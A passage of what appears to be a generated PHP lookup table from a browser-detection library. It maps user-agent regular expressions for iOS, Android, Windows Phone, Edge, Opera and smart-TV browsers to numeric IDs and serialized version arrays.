\(iPod.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/(\d)\.0.*Safari/.*$@'=>'a:4:{s:2:"@9";i:172;s:2:"@7";i:173;s:2:"@8";i:174;s:2:"@6";i:175;}', '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*CriOS/.*Safari/.*$@'=>176, '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*RM\-1104.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/12.*$@'=>177, '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*CriOS/(\d)(\d)\.0.*Safari/.*$@'=>'a:24:{s:4:"@5|5";i:178;s:4:"@6|8";i:179;s:4:"@7|0";i:180;s:4:"@5|2";i:181;s:4:"@5|3";i:182;s:4:"@7|1";i:183;s:4:"@6|7";i:184;s:4:"@6|9";i:185;s:4:"@6|5";i:186;s:4:"@6|3";i:187;s:4:"@6|2";i:188;s:4:"@6|1";i:189;s:4:"@5|9";i:190;s:4:"@6|4";i:191;s:4:"@5|8";i:192;s:4:"@5|6";i:193;s:4:"@6|0";i:194;s:4:"@5|7";i:195;s:4:"@6|6";i:196;s:4:"@5|4";i:197;s:4:"@4|9";i:198;s:4:"@4|8";i:199;s:4:"@5|0";i:200;s:4:"@5|1";i:201;}', '@^Mozilla/5\.0.*\(iPhone.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>202, '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/.* Mobile/.* Safari/.*$@'=>203, '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d)(\d).* Mobile/.* Safari/.*$@'=>'a:14:{s:6:"@4|0|2";i:204;s:6:"@3|2|1";i:205;s:6:"@3|0|2";i:206;s:6:"@3|0|1";i:207;s:6:"@4|0|1";i:208;s:6:"@4|2|1";i:209;s:6:"@5|0|1";i:210;s:6:"@5|0|2";i:211;s:6:"@4|5|1";i:212;s:6:"@4|3|1";i:213;s:6:"@5|0|4";i:214;s:6:"@4|3|0";i:215;s:6:"@4|0|3";i:216;s:6:"@5|0|3";i:217;}', '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*CriOS/(\d)(\d)\.0.*Safari/.*$@'=>'a:24:{s:4:"@5|8";i:218;s:4:"@6|6";i:219;s:4:"@6|5";i:220;s:4:"@7|1";i:221;s:4:"@7|0";i:222;s:4:"@5|6";i:223;s:4:"@4|8";i:224;s:4:"@6|8";i:225;s:4:"@5|7";i:227;s:4:"@6|9";i:228;s:4:"@6|7";i:229;s:4:"@6|4";i:230;s:4:"@4|9";i:231;s:4:"@6|1";i:232;s:4:"@5|1";i:234;s:4:"@5|3";i:235;s:4:"@5|2";i:236;s:4:"@6|0";i:237;s:4:"@5|4";i:238;s:4:"@6|2";i:239;s:4:"@5|0";i:240;s:4:"@5|9";i:241;s:4:"@5|5";i:242;s:4:"@6|3";i:243;}', '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*CriOS/.*Safari/.*$@'=>226, '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*id336.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/12.*$@'=>233, '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d).* Mobile/.* Safari/.*$@'=>'a:6:{s:4:"@3|1";i:244;s:4:"@3|0";i:245;s:4:"@4|5";i:246;s:4:"@4|4";i:249;s:4:"@4|1";i:251;s:4:"@4|0";i:252;}', '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/1(\d)\.0.*Safari/.*$@'=>'a:3:{s:2:"@1";i:247;s:2:"@0";i:248;s:2:"@2";i:250;}', '@^Mozilla/5\.0.*\(iPod.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>253, '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0; .*Windows NT 6\.(\d).*Trident/4\.0.*Mozilla/4\.0 \(compatible.*; MSIE 6\.0.*$@'=>'a:2:{s:2:"@0";i:254;s:2:"@1";i:255;}', '@^.*Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/8\.0.*rv\:11.*IEMobile.11\.0; Microsoft; Lumia 950 XL Dual SIM.*$@'=>256, '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/(\d)\.0.*Safari/.*$@'=>'a:4:{s:2:"@8";i:257;s:2:"@7";i:258;s:2:"@9";i:259;s:2:"@6";i:260;}', '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/8\.0.*rv\:11.*IEMobile.11\.0; Microsoft; Lumia 950 XL Dual SIM.*$@'=>261, '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0; .*Windows.*WOW64.*Trident/4\.0.*Mozilla/4\.0 \(compatible.*; MSIE 6\.0.*$@'=>262, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Mobile Safari/.* EdgA/4(\d)\..*$@'=>'a:2:{s:2:"@2";i:263;s:2:"@1";i:265;}', '@^Mozilla/5\.0 \(.*Linux.*Android.* Build/.* applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.1.* Mobile Safari.*$@'=>264, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Chrome/(\d)(\d)\.0.*Mobile.*Safari.*$@'=>'a:29:{s:4:"@6|2";i:266;s:4:"@4|5";i:267;s:4:"@7|0";i:268;s:4:"@6|9";i:269;s:4:"@6|5";i:270;s:4:"@6|4";i:271;s:4:"@6|1";i:272;s:4:"@4|3";i:273;s:4:"@6|6";i:274;s:4:"@4|4";i:275;s:4:"@6|7";i:276;s:4:"@6|8";i:277;s:4:"@4|6";i:278;s:4:"@7|1";i:279;s:4:"@5|3";i:280;s:4:"@6|3";i:281;s:4:"@5|4";i:282;s:4:"@5|5";i:283;s:4:"@5|8";i:284;s:4:"@6|0";i:285;s:4:"@5|6";i:286;s:4:"@5|7";i:287;s:4:"@5|2";i:288;s:4:"@4|9";i:289;s:4:"@4|8";i:290;s:4:"@4|7";i:291;s:4:"@5|9";i:292;s:4:"@5|0";i:293;s:4:"@5|1";i:294;}', '@^Mozilla/5\.0 \(.*Windows.*Trident/8\.0; rv\:550\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/7\.0 Safari/.*$@'=>295, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Anonymisiert durch.*$@'=>'a:22:{s:4:"@6|1";i:296;s:4:"@7|0";i:297;s:4:"@6|0";i:298;s:4:"@6|5";i:299;s:4:"@6|3";i:300;s:4:"@6|7";i:301;s:4:"@6|4";i:302;s:4:"@6|8";i:303;s:4:"@6|2";i:304;s:4:"@6|6";i:305;s:4:"@6|9";i:306;s:4:"@5|2";i:307;s:4:"@5|5";i:308;s:4:"@5|7";i:309;s:4:"@7|1";i:310;s:4:"@5|4";i:311;s:4:"@5|3";i:312;s:4:"@5|0";i:313;s:4:"@5|1";i:314;s:4:"@5|8";i:315;s:4:"@5|6";i:316;s:4:"@5|9";i:317;}', '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/.* Mobile/.* Safari/.*$@'=>318, '@^Mozilla/5\.0 \(.*Linux.*\).*applewebkit.* \(.*khtml.*like.*gecko.*\).*Chrome/.* Large Screen Safari/.* GoogleTV/.*$@'=>319, '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0; .*Windows.*x64.*Trident/4\.0.*Mozilla/4\.0 \(compatible.*; MSIE 6\.0.*$@'=>320, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Anonymisiert durch.*$@'=>'a:88:{s:6:"@4|6|7";i:321;s:6:"@3|6|6";i:322;s:6:"@3|7|0";i:323;s:6:"@3|6|7";i:324;s:6:"@1|6|7";i:325;s:6:"@4|6|6";i:326;s:6:"@4|7|0";i:327;s:6:"@1|6|8";i:328;s:6:"@2|6|7";i:329;s:6:"@3|6|8";i:330;s:6:"@2|7|1";i:331;s:6:"@2|6|9";i:332;s:6:"@3|6|9";i:333;s:6:"@4|6|9";i:334;s:6:"@3|7|1";i:335;s:6:"@1|6|9";i:336;s:6:"@1|7|1";i:337;s:6:"@4|7|1";i:338;s:6:"@2|7|0";i:339;s:6:"@1|7|0";i:340;s:6:"@4|6|8";i:341;s:6:"@2|6|8";i:342;s:6:"@2|5|9";i:343;s:6:"@1|5|5";i:344;s:6:"@2|5|5";i:345;s:6:"@3|5|5";i:346;s:6:"@4|5|4";i:347;s:6:"@3|5|4";i:348;s:6:"@1|5|4";i:349;s:6:"@2|5|4";i:350;s:6:"@4|5|5";i:351;s:6:"@1|5|6";i:352;s:6:"@2|5|7";i:353;s:6:"@3|5|7";i:354;s:6:"@1|5|7";i:355;s:6:"@4|5|6";i:356;s:6:"@2|5|6";i:357;s:6:"@3|5|6";i:358;s:6:"@4|5|3";i:359;s:6:"@3|5|3";i:360;s:6:"@1|5|1";i:361;s:6:"@2|5|1";i:362;s:6:"@4|5|0";i:363;s:6:"@3|5|0";i:364;s:6:"@1|5|0";i:365;s:6:"@2|5|0";i:366;s:6:"@3|5|1";i:367;s:6:"@4|5|1";i:368;s:6:"@1|5|3";i:369;s:6:"@2|5|3";i:370;s:6:"@4|5|2";i:371;s:6:"@3|5|2";i:372;s:6:"@1|5|2";i:373;s:6:"@2|5|2";i:374;s:6:"@4|5|7";i:375;s:6:"@1|5|8";i:376;s:6:"@4|6|3";i:377;s:6:"@1|6|4";i:378;s:6:"@3|6|3";i:379;s:6:"@2|6|3";i:380;s:6:"@4|6|2";i:381;s:6:"@1|6|3";i:382;s:6:"@2|6|4";i:383;s:6:"@3|6|4";i:384;s:6:"@4|6|5";i:385;s:6:"@1|6|6";i:386;s:6:"@3|6|5";i:387;s:6:"@2|6|5";i:388;s:6:"@4|6|4";i:389;s:6:"@1|6|5";i:390;s:6:"@3|6|2";i:391;s:6:"@2|6|2";i:392;s:6:"@3|5|9";i:393;s:6:"@4|5|9";i:394;s:6:"@1|5|9";i:395;s:6:"@4|5|8";i:396;s:6:"@2|5|8";i:397;s:6:"@3|5|8";i:398;s:6:"@1|6|0";i:399;s:6:"@2|6|0";i:400;s:6:"@3|6|1";i:401;s:6:"@1|6|2";i:402;s:6:"@2|6|1";i:403;s:6:"@1|6|1";i:404;s:6:"@3|6|0";i:405;s:6:"@4|6|0";i:406;s:6:"@2|6|6";i:407;s:6:"@4|6|1";i:408;}', '@^Mozilla/5\.0 \(Linux; Linux mips\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chromium/.* Safari/.*\) SRAF/3\.(\d).*$@'=>'a:3:{s:2:"@5";i:409;s:2:"@0";i:410;s:2:"@9";i:411;}', '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/1(\d)\..*$@'=>'a:5:{s:2:"@3";i:412;s:2:"@4";i:413;s:2:"@5";i:414;s:2:"@7";i:415;s:2:"@6";i:416;}', '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*CriOS/.*Safari/.*$@'=>417, '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/1(\d)\.0.*Safari/.*$@'=>'a:3:{s:2:"@1";i:418;s:2:"@0";i:420;s:2:"@2";i:421;}', '@^Mozilla/5\.0.*\(.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>419, '@^Mozilla/5\.0 \(Linux.*; Android Eclair.*Build/.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/.*Safari.*$@'=>422, '@^Mozilla/5\.0 \(.*Linux.*Velocitymicro/T408.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) .*Version/4\.0.*Safari/.*$@'=>423, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Mobile Safari/.* EdgA/.*$@'=>424, '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/(\d)\.0.*Safari/.*$@'=>'a:4:{s:2:"@9";i:425;s:2:"@7";i:426;s:2:"@6";i:427;s:2:"@8";i:428;}', '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/7\.0.*rv\:11.*IEMobile.11\.0; Microsoft;Lumia 535 Dual SIM.*$@'=>429, '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/12.*$@'=>430, '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*CriOS/(\d)(\d)\.0.*Safari/.*$@'=>'a:24:{s:4:"@4|9";i:431;s:4:"@4|8";i:432;s:4:"@5|1";i:433;s:4:"@5|0";i:434;s:4:"@5|4";i:435;s:4:"@6|5";i:436;s:4:"@6|4";i:437;s:4:"@6|3";i:438;s:4:"@6|6";i:439;s:4:"@6|7";i:440;s:4:"@7|1";i:441;s:4:"@7|0";i:442;s:4:"@6|8";i:443;s:4:"@6|2";i:444;s:4:"@6|1";i:445;s:4:"@5|6";i:446;s:4:"@5|5";i:447;s:4:"@5|3";i:448;s:4:"@5|7";i:449;s:4:"@5|8";i:450;s:4:"@6|0";i:451;s:4:"@5|9";i:452;s:4:"@5|2";i:453;s:4:"@6|9";i:454;}', '@^Mozilla/5\.0.*\(iPhone.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>455, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.* anonymized by.*$@'=>'a:22:{s:4:"@5|0";i:456;s:4:"@6|9";i:457;s:4:"@5|1";i:458;s:4:"@6|0";i:459;s:4:"@7|0";i:460;s:4:"@6|3";i:461;s:4:"@7|1";i:462;s:4:"@6|1";i:463;s:4:"@6|5";i:464;s:4:"@5|2";i:465;s:4:"@5|3";i:466;s:4:"@5|7";i:467;s:4:"@5|8";i:468;s:4:"@6|6";i:469;s:4:"@5|9";i:470;s:4:"@5|6";i:471;s:4:"@6|7";i:472;s:4:"@6|8";i:473;s:4:"@5|4";i:474;s:4:"@5|5";i:475;s:4:"@6|4";i:476;s:4:"@6|2";i:477;}', '@^Mozilla/5\.0 \(SMART\-TV.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chromium/(\d)(\d)\..*Chrome/.*Safari/.*$@'=>'a:27:{s:4:"@6|1";i:478;s:4:"@6|2";i:479;s:4:"@6|3";i:480;s:4:"@6|4";i:481;s:4:"@6|0";i:482;s:4:"@5|9";i:483;s:4:"@5|6";i:484;s:4:"@5|7";i:485;s:4:"@5|8";i:486;s:4:"@6|5";i:487;s:4:"@6|6";i:488;s:4:"@4|5";i:489;s:4:"@4|7";i:490;s:4:"@7|1";i:491;s:4:"@4|6";i:493;s:4:"@7|0";i:494;s:4:"@6|8";i:496;s:4:"@6|9";i:497;s:4:"@5|5";i:498;s:4:"@6|7";i:499;s:4:"@5|2";i:501;s:4:"@5|1";i:502;s:4:"@5|0";i:503;s:4:"@4|8";i:505;s:4:"@5|3";i:506;s:4:"@4|9";i:507;s:4:"@5|4";i:510;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/1(\d)\..*$@'=>'a:5:{s:2:"@6";i:492;s:2:"@7";i:495;s:2:"@4";i:500;s:2:"@5";i:504;s:2:"@3";i:509;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\).*applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*Anonymisiert durch.*$@'=>508, '@^Mozilla/5\.0.*\(iPhone.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Safari/.*$@'=>511, '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0; .*Windows.*Trident/4\.0.*Mozilla/4\.0 \(compatible.*; MSIE 6\.0.*$@'=>512, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.* anonymized by.*$@'=>'a:88:{s:6:"@3|6|8";i:513;s:6:"@3|5|2";i:514;s:6:"@2|5|2";i:515;s:6:"@1|5|2";i:516;s:6:"@4|5|2";i:517;s:6:"@1|5|3";i:518;s:6:"@3|5|3";i:519;s:6:"@4|5|3";i:520;s:6:"@2|5|3";i:521;s:6:"@4|5|1";i:522;s:6:"@4|6|8";i:523;s:6:"@3|5|9";i:524;s:6:"@3|5|1";i:525;s:6:"@3|5|0";i:526;s:6:"@4|5|0";i:527;s:6:"@2|5|0";i:528;s:6:"@4|5|8";i:529;s:6:"@1|6|0";i:530;s:6:"@1|5|0";i:531;s:6:"@1|5|1";i:532;s:6:"@2|5|1";i:533;s:6:"@2|6|9";i:534;s:6:"@1|6|9";i:535;s:6:"@2|5|8";i:536;s:6:"@4|5|9";i:537;s:6:"@4|6|9";i:538;s:6:"@3|6|9";i:539;s:6:"@2|6|8";i:540;s:6:"@2|5|4";i:541;s:6:"@2|6|6";i:542;s:6:"@1|6|7";i:543;s:6:"@2|6|7";i:544;s:6:"@1|5|8";i:545;s:6:"@4|6|7";i:546;s:6:"@3|6|7";i:547;s:6:"@4|5|6";i:548;s:6:"@3|6|6";i:549;s:6:"@4|5|7";i:550;s:6:"@3|5|7";i:551;s:6:"@2|5|7";i:552;s:6:"@4|6|6";i:553;s:6:"@1|5|7";i:554;s:6:"@1|6|6";i:555;s:6:"@3|6|0";i:556;s:6:"@1|5|5";i:557;s:6:"@3|5|8";i:558;s:6:"@4|5|4";i:559;s:6:"@3|5|4";i:560;s:6:"@1|5|4";i:561;s:6:"@1|5|9";i:562;s:6:"@2|5|5";i:563;s:6:"@3|5|5";i:564;s:6:"@2|5|6";i:565;s:6:"@3|5|6";i:566;s:6:"@1|5|6";i:567;s:6:"@2|5|9";i:568;s:6:"@4|5|5";i:569;s:6:"@1|6|8";i:570;s:6:"@4|6|1";i:571;s:6:"@2|7|1";i:572;s:6:"@2|6|0";i:573;s:6:"@3|7|1";i:574;s:6:"@1|7|1";i:575;s:6:"@4|6|2";i:576;s:6:"@4|6|4";i:577;s:6:"@3|6|2";i:578;s:6:"@4|7|1";i:579;s:6:"@1|6|3";i:580;s:6:"@1|6|4";i:581;s:6:"@4|6|0";i:582;s:6:"@2|6|4";i:583;s:6:"@4|6|3";i:584;s:6:"@3|6|4";i:585;s:6:"@2|6|3";i:586;s:6:"@3|6|3";i:587;s:6:"@1|6|2";i:588;s:6:"@2|6|2";i:589;s:6:"@3|6|1";i:590;s:6:"@2|7|0";i:591;s:6:"@4|7|0";i:592;s:6:"@3|7|0";i:593;s:6:"@4|6|5";i:594;s:6:"@3|6|5";i:595;s:6:"@1|6|5";i:596;s:6:"@1|6|1";i:597;s:6:"@1|7|0";i:598;s:6:"@2|6|5";i:599;s:6:"@2|6|1";i:600;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/12.*$@'=>601, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\).*applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*Anonymisiert durch.*$@'=>'a:5:{s:2:"@3";i:602;s:2:"@4";i:604;s:2:"@1";i:606;s:2:"@2";i:611;s:2:"@0";i:612;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.4.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/1(\d)\..*$@'=>'a:5:{s:2:"@4";i:603;s:2:"@3";i:607;s:2:"@5";i:608;s:2:"@7";i:609;s:2:"@6";i:610;}', '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/.*$@'=>605, '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Mobile.*$@'=>613, '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*CriOS/(\d)(\d)\.0.*Safari/.*$@'=>'a:24:{s:4:"@5|9";i:614;s:4:"@5|7";i:615;s:4:"@5|8";i:616;s:4:"@5|0";i:617;s:4:"@4|8";i:618;s:4:"@5|5";i:619;s:4:"@4|9";i:620;s:4:"@5|2";i:621;s:4:"@5|3";i:622;s:4:"@5|4";i:623;s:4:"@6|0";i:624;s:4:"@5|6";i:625;s:4:"@6|1";i:626;s:4:"@6|7";i:628;s:4:"@6|8";i:629;s:4:"@6|9";i:630;s:4:"@7|0";i:631;s:4:"@6|6";i:632;s:4:"@6|5";i:633;s:4:"@6|2";i:634;s:4:"@5|1";i:635;s:4:"@6|3";i:636;s:4:"@6|4";i:637;s:4:"@7|1";i:638;}', '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*CriOS/.*Safari/.*$@'=>627, '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/1(\d)\.0.*Safari/.*$@'=>'a:3:{s:2:"@0";i:639;s:2:"@1";i:640;s:2:"@2";i:641;}', '@^Mozilla/5\.0.*\(iPad.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>642, '@^Mozilla/5\.0.*\(iPod.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>643, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Mobile Safari/.*$@'=>'a:29:{s:4:"@4|9";i:644;s:4:"@5|2";i:645;s:4:"@5|1";i:646;s:4:"@5|3";i:647;s:4:"@5|4";i:648;s:4:"@5|5";i:649;s:4:"@5|0";i:650;s:4:"@4|8";i:651;s:4:"@4|4";i:652;s:4:"@4|3";i:653;s:4:"@4|5";i:654;s:4:"@4|6";i:655;s:4:"@4|7";i:656;s:4:"@5|6";i:657;s:4:"@5|7";i:658;s:4:"@6|6";i:659;s:4:"@6|5";i:660;s:4:"@6|7";i:661;s:4:"@6|8";i:662;s:4:"@6|9";i:663;s:4:"@6|4";i:664;s:4:"@6|3";i:665;s:4:"@5|9";i:666;s:4:"@5|8";i:667;s:4:"@6|0";i:668;s:4:"@6|1";i:669;s:4:"@6|2";i:670;s:4:"@7|0";i:671;s:4:"@7|1";i:672;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.4.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/12.*$@'=>673, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chrome/.*Safari/.*OPR/(\d)(\d)\.0.*$@'=>'a:29:{s:4:"@5|2";i:674;s:4:"@5|3";i:675;s:4:"@4|3";i:676;s:4:"@5|1";i:677;s:4:"@3|3";i:678;s:4:"@5|4";i:679;s:4:"@4|1";i:680;s:4:"@2|8";i:681;s:4:"@2|7";i:682;s:4:"@5|5";i:683;s:4:"@4|2";i:684;s:4:"@3|4";i:685;s:4:"@5|0";i:686;s:4:"@4|4";i:687;s:4:"@4|6";i:688;s:4:"@3|7";i:689;s:4:"@4|5";i:690;s:4:"@4|7";i:691;s:4:"@4|8";i:692;s:4:"@4|9";i:693;s:4:"@3|5";i:694;s:4:"@3|6";i:695;s:4:"@3|8";i:696;s:4:"@3|9";i:697;s:4:"@3|2";i:698;s:4:"@2|9";i:699;s:4:"@3|1";i:700;s:4:"@4|0";i:701;s:4:"@3|0";i:702;}', '@^Mozilla/5\.0.*\(iPod.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Safari/.*$@'=>703, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Chrome/(\d)(\d)\.0.*Safari.*$@'=>'a:29:{s:4:"@4|8";i:704;s:4:"@4|9";i:706;s:4:"@5|0";i:707;s:4:"@4|6";i:709;s:4:"@4|3";i:710;s:4:"@7|0";i:711;s:4:"@7|1";i:712;s:4:"@6|5";i:713;s:4:"@6|9";i:714;s:4:"@4|4";i:716;s:4:"@5|1";i:717;s:4:"@4|5";i:718;s:4:"@4|7";i:719;s:4:"@5|9";i:720;s:4:"@5|8";i:721;s:4:"@5|7";i:722;s:4:"@6|2";i:723;s:4:"@5|2";i:724;s:4:"@6|0";i:726;s:4:"@6|1";i:727;s:4:"@6|6";i:728;s:4:"@6|3";i:729;s:4:"@5|6";i:730;s:4:"@6|8";i:731;s:4:"@5|3";i:732;s:4:"@5|5";i:733;s:4:"@6|4";i:734;s:4:"@5|4";i:735;s:4:"@6|7";i:736;}', '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/(\d)\.0.*Safari/.*$@'=>'a:4:{s:2:"@7";i:705;s:2:"@8";i:708;s:2:"@6";i:715;s:2:"@9";i:725;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/.*$@'=>737, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chrome/.*Safari/.*OPR/(\d)(\d)\.0.*$@'=>'a:102:{s:6:"@2|3|5";i:738;s:6:"@0|3|6";i:739;s:6:"@1|3|5";i:740;s:6:"@1|3|6";i:741;s:6:"@4|3|0";i:742;s:6:"@3|3|5";i:743;s:6:"@2|3|0";i:744;s:6:"@2|5|0";i:745;s:6:"@3|5|0";i:746;s:6:"@1|3|0";i:747;s:6:"@2|3|6";i:748;s:6:"@1|5|0";i:749;s:6:"@3|4|9";i:750;s:6:"@1|4|9";i:751;s:6:"@0|3|5";i:752;s:6:"@2|4|9";i:753;s:6:"@3|3|0";i:754;s:6:"@3|3|1";i:755;s:6:"@3|4|6";i:756;s:6:"@2|5|1";i:757;s:6:"@3|3|7";i:758;s:6:"@2|3|7";i:759;s:6:"@2|4|6";i:760;s:6:"@1|4|6";i:761;s:6:"@2|4|5";i:762;s:6:"@3|4|5";i:763;s:6:"@4|3|1";i:764;s:6:"@1|4|7";i:765;s:6:"@2|4|7";i:766;s:6:"@2|4|8";i:767;s:6:"@3|4|8";i:768;s:6:"@0|3|1";i:769;s:6:"@1|4|8";i:770;s:6:"@1|3|1";i:771;s:6:"@3|4|7";i:772;s:6:"@1|3|7";i:773;s:6:"@2|3|1";i:774;s:6:"@3|3|6";i:775;s:6:"@3|3|3";i:776;s:6:"@1|4|5";i:777;s:6:"@3|3|2";i:778;s:6:"@2|3|2";i:779;s:6:"@1|3|2";i:780;s:6:"@3|5|5";i:781;s:6:"@2|5|5";i:782;s:6:"@1|3|3";i:783;s:6:"@0|3|3";i:784;s:6:"@1|5|5";i:785;s:6:"@0|3|2";i:786;s:6:"@0|2|7";i:787;s:6:"@1|2|8";i:788;s:6:"@2|2|8";i:789;s:6:"@3|2|8";i:790;s:6:"@4|2|8";i:791;s:6:"@0|2|8";i:792;s:6:"@4|2|7";i:793;s:6:"@1|2|7";i:794;s:6:"@2|2|7";i:795;s:6:"@3|2|7";i:796;s:6:"@0|2|9";i:797;s:6:"@3|5|4";i:798;s:6:"@4|2|9";i:799;s:6:"@2|5|2";i:800;s:6:"@3|5|2";i:801;s:6:"@0|3|4";i:802;s:6:"@1|3|4";i:803;s:6:"@1|5|2";i:804;s:6:"@0|3|0";i:805;s:6:"@3|3|4";i:806;s:6:"@2|3|4";i:807;s:6:"@3|2|9";i:808;s:6:"@1|5|4";i:810;s:6:"@2|3|3";i:811;s:6:"@2|5|4";i:812;s:6:"@1|2|9";i:813;s:6:"@2|2|9";i:814;s:6:"@1|5|